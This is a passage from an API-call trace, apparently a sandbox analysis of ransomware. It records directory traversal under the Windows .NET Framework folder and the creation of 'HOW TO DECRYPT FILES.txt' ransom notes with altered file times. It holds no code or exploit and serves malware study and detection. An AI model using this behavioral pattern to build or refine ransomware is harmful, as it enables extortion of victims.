pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.025] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.025] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.025] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="applaunch.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\applaunch.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\applaunch.exe.config" [0137.025] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xd5c807c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c807c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASP.NETWebAdminFiles", cAlternateFileName="ASP~1.NET")) returned 1 [0137.025] lstrcmpA (lpString1=".", lpString2="ASP.NETWebAdminFiles") returned -1 [0137.025] lstrcmpA (lpString1="..", lpString2="ASP.NETWebAdminFiles") returned -1 [0137.025] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\applaunch.exe.config") returned="applaunch.exe.config" [0137.025] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="ASP.NETWebAdminFiles" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles" [0137.025] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xd5c807c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c807c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.027] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.027] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xd5c807c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c807c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.028] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.028] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.028] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppConfig", cAlternateFileName="APPCON~1")) returned 1 [0137.028] lstrcmpA (lpString1=".", lpString2="AppConfig") returned -1 [0137.028] lstrcmpA (lpString1="..", lpString2="AppConfig") returned -1 [0137.028] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.028] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="AppConfig" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig" [0137.029] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.031] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.031] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.031] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.031] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.031] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2148, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppConfigHome.aspx", cAlternateFileName="APPCON~1.ASP")) returned 1 [0137.031] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.031] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppConfigHome.aspx") returned 1 [0137.031] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppConfigHome.aspx") returned 1 [0137.031] lstrcmpiA (lpString1="", lpString2="AppConfigHome.aspx") returned -1 [0137.031] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\*.*") returned="*.*" [0137.031] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.031] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.031] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.031] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0xffffffff [0137.031] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.034] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.034] CloseHandle (hObject=0x94) returned 1 [0137.034] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="AppConfigHome.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx" [0137.035] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9ec0e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xece, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSetting.ascx", cAlternateFileName="APPSET~1.ASC")) returned 1 [0137.035] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.035] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppSetting.ascx") returned 1 [0137.035] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppSetting.ascx") returned 1 [0137.035] lstrcmpiA (lpString1="", lpString2="AppSetting.ascx") returned -1 [0137.035] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx") returned="AppConfigHome.aspx" [0137.035] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.035] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.035] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.035] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0x20 [0137.035] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="AppSetting.ascx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppSetting.ascx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppSetting.ascx" [0137.036] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.036] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.036] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.036] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppSetting.ascx") returned="AppSetting.ascx" [0137.036] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="App_LocalResources" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources" [0137.036] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5015b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0137.040] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.041] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.041] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.041] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.041] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xede, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppConfigHome.aspx.resx", cAlternateFileName="APPCON~1.RES")) returned 1 [0137.041] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.041] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppConfigHome.aspx.resx") returned 1 [0137.041] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppConfigHome.aspx.resx") returned 1 [0137.041] lstrcmpiA (lpString1="", lpString2="AppConfigHome.aspx.resx") returned -1 [0137.041] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*.*") returned="*.*" [0137.041] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.041] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.041] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.041] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0xffffffff [0137.041] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0137.044] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.044] CloseHandle (hObject=0x98) returned 1 [0137.044] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="AppConfigHome.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppConfigHome.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppConfigHome.aspx.resx" [0137.045] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9ec0e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSetting.ascx.resx", cAlternateFileName="APPSET~1.RES")) returned 1 [0137.045] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.045] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppSetting.ascx.resx") returned 1 [0137.045] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppSetting.ascx.resx") returned 1 [0137.045] lstrcmpiA (lpString1="", lpString2="AppSetting.ascx.resx") returned -1 [0137.045] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppConfigHome.aspx.resx") returned="AppConfigHome.aspx.resx" [0137.045] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.045] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.045] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.045] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.045] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="AppSetting.ascx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppSetting.ascx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppSetting.ascx.resx" [0137.045] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x603, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="CreateAppSetting.aspx.resx", cAlternateFileName="CREATE~1.RES")) returned 1 [0137.046] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.046] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CreateAppSetting.aspx.resx") returned 1 [0137.046] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CreateAppSetting.aspx.resx") returned 1 [0137.046] lstrcmpiA (lpString1="", lpString2="CreateAppSetting.aspx.resx") returned -1 [0137.046] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppSetting.ascx.resx") returned="AppSetting.ascx.resx" [0137.046] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.046] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.046] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.046] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.046] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="CreateAppSetting.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\CreateAppSetting.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\CreateAppSetting.aspx.resx" [0137.046] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, 